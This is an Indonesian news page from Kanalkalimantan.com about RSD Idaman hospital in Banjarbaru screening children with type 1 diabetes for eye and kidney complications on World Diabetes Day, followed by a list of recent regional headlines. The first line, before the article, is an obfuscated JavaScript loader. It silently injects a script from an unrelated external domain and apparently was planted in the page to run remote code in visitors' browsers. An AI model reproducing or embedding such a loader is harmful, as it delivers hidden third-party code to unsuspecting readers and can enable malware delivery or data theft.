(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Hari Diabetes Sedunia, RSD Idaman Bantu Pasien Anak Skrining Retinopati dan Nefropati


KANALKALIMANTAN.COM, BANJARBARU – Memperigati Hari Diabetes Sedunia, Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru berkolaborasi dengan Changing Diabetes In Children Indonesia (CDiC) melaksanakan kegiatan Skrining Retinopati dan Nefropati Diabetes Mellitus Tipe 1.

Kegiatan dibuka secara langsung oleh Direktur RSD Idaman Kota Banjarbaru, dr. Danny Indrawardha di Aula Besar RSD Idaman, Sabtu (2/12/2023). Kegiatan ini juga turut dihadiri dokter spesialis anak subspesialis endokrinologi, Indra Widjaja Himawan dan dokter spesialis mata, Helen Nguda serta dari Laboratorium Prodia.

Dalam sambutannya, Danny mengatakan kegiatan ini sangat positif karena membantu skrining awal pasien diabetes melitikus guna mengetahui komplikasi di dalam tubuh. Kegiatan ini juga menjadi bentuk komitmen pihaknya untuk memberikan pelayanan terbaik.

Baca juga: Besok Subuh Aksi Bela Palestina di Murdjani, Steril dari Atribut Parpol-Capres-Caleg

“Kita berharap mereka yang hadir disini bisa mendapatkan terapi yang baik. Karena kita tau penyakit diabetes ini memiliki banyak resiko komplikasi sehingga skrining ini penting untuk dilakukan,” ucapnya.

Adapun pasien diabetes melitikus yang menghadiri kegiatan ini diikuti oleh anak usia 10 – 17 Tahun. Danny mengakui bahwa pelayanan kesehatan terhadap anak menjadi salah satu layanan yang diunggulkan di RSD Idaman Banjarbaru.

“Endokrin anak menjadi layanan unggulan kita. Dan kita beruntung di Kalsel-teng ini cuma RSD Idaman yang memiliki dokter spesialisnya yakni dokter Indra Widjaja. Insyaallah kualitas hidup anak pian lebih baik,” tuntasnya.

Pada kegiatan pemeriksaan ini, pasien datang bergantian dengan didampingi oleh pengantar dan dilakukan pemeriksaan mata oleh dokter spesialis mata.

Selanjutnya pasien akan menjalani tes urine yang dilakukan oleh Laboratorium Porodia. Setelah semua pemeriksaan, selanjutkan paisen akan diedukasi tentang pasien diabetes melitikus.(Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Muhammad Andi

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

2 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

4 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

5 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

19 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

21 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

23 jam ago

This website uses cookies.